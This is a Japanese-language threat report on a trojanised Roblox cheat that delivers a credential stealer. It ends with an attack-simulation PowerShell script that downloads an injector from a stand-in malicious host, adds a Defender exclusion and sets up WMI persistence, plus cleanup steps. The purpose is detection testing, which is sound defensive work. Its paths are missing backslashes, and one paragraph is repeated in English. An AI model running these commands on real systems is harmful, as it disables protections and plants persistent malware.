AIによって動かされるRobloxチートがYuta／Solara Stealerを配信

概要

悪意のあるRobloxチートパッケージは、トロイの木馬化された.NETインターフェイスと、PyInstallerを通じてバンドルされたPythonスティーラーを組み合わせています。最初のローダーはMicrosoft Defenderの保護を弱め、MediaFireから第二段階のペイロードを取得し、Glove Stealerに由来するマルウェアを起動して、クレデンシャル、クッキー、ウォレットファイル、ゲーム関連の資産を収集します。盗まれたデータは、暗号化されたDiscordウェブフックを通じてエクスフィルトレーションされ、持続的なDiscordボットRATによって支援されます。

調査

このレポートは、PyInstallerペイロードの抽出、Python 3.12バイトコードの逆コンパイル、クレデンシャル盗難ワークフローのマッピングを含むマルウェアの詳細な静的分析を提供します。また、完全な多段式実行チェーン、オペレーターによって使用される防御回避方法、Chromeアプリバウンド暗号化保護をターゲットとした5層バイパスアプローチを概説しています。

緩和策

組織は、未知の署名されていないバイナリの実行をブロックし、厳格なアプリケーション許可リストを適用し、Defenderの除外変更と疑わしいPowerShellの使用を監視し、Pastebinからの設定データの異常なダウンロードを検出するべきです。Discordウェブフックトラフィックは制限されるか厳密に監視されるべきであり、防御者はデバッガ関連のフラグを使用するChrome起動の異常を監視する必要があります。

対応

セキュリティチームは、AppDataキャッシュ内のwinupdate.exeの作成、疑わしいレジストリRunキーの変更、スケジュールされたタスクの作成、および異常なDiscordチャネルの活動について警告すべきです。悪意のあるファイルは隔離され、許可されていないDefenderの除外は削除され、収集された可能性のあるクレデンシャルストアの法医学的収集が行われるべきです。 winupdate.exe in the AppData cache, suspicious registry Run key modifications, scheduled task creation, and unusual Discord channel activity. Malicious files should be quarantined, unauthorized Defender exclusions removed, and forensic collection performed on any credential stores that may have been harvested.

シミュレーション実行

必要条件：テレメトリーとベースラインプレフライトチェックが合格している必要があります。

根拠：このセクションでは、敵対者の技術（TTP）を検出規則をトリガーするために正確に実行する方法を詳述します。コマンドとナラティブはTTPによって正確に反映され、検出ロジックによって期待されるテレメトリーを正確に生成することを目指します。

• 攻撃ナラティブとコマンド：

  1. 入侵ツール転送（T1105）： 攻撃者は、悪意のあるRoblox実行ツール（SLaunch.exe）を侵害されたWebサーバーからダウンロードします。
  2. Defender改ざんでの実行（T1548.002）： PowerShellを使用して、攻撃者は SLaunch.exe をコマンドラインで実行し、 Add-MpPreference -ExclusionPath "C:Roblox" を呼び出し、Robloxインストールフォルダをホワイトリストに登録し、Windows Defenderが注入されたペイロードをスキャンしないようにします。
  3. 持続性（T1546.003 / T1547.001）： WMIイベントサブスクリプションが作成され、システム起動時に SLaunch.exe を再起動します。
  4. クレデンシャルの収集（T1056.001, T1555.003）： インジェクターが実行されている間、キー入力をキャプチャし、ブラウザストアから保存されたRobloxクレデンシャルを抽出します。

• 回帰テストスクリプト： 以下のPowerShellスクリプトは、ステップ2–3を再現し、Sigmaルールが期待するテレメトリーを生成します。

  # ------------------------------------------------------------
  # Roblox Injectorの実行とDefender除外(TCスクリプト)
  # ------------------------------------------------------------
  
  # パス（必要に応じて調整）
  $injectorPath = "C:TempSLaunch.exe"
  $defenderExcl = "C:Roblox"
  
  # 1. インジェクターが存在することを確認（ダウンロードプレースホルダー）
  if (-Not (Test-Path $injectorPath)) {
      Write-Host "悪意のあるインジェクターをダウンロード中..."
      Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
  }
  
  # 2. Defender除外のコマンドラインでインジェクターを実行
  $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
  Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
  
  # 3. 持続性のためにWMI永久イベントサブスクリプションを作成
  $wmiFilter = @"
  SELECT * FROM __InstanceCreationEvent
  WITHIN 60
  WHERE TargetInstance ISA 'Win32_Process' 
  AND TargetInstance.Name = 'SLaunch.exe'
  "@
  
  $filterPath = "ROOTDEFAULT"
  $filterName = "RobloxInjectorFilter"
  $consumerName = "RobloxInjectorConsumer"
  
  # フィルタを登録
  $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
      -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
  
  # コマンドラインコンシューマーを登録
  $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
      -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
  
  # フィルタとコンシューマをバインド
  Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
  
  Write-Host "シミュレーション完了 – 検出テレメトリーが生成されているはずです。"

• クリーンアップコマンド： 上記で作成されたDefender除外とWMIサブスクリプションを削除します。

  # Defender除外を削除
  Remove-MpPreference -ExclusionPath "C:Roblox"
  
  # WMIフィルタとコンシューマーを削除
  $filterPath = "ROOTDEFAULT"
  Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
  
  # インジェクターバイナリを削除
  Remove-Item -Path "C:TempSLaunch.exe" -Force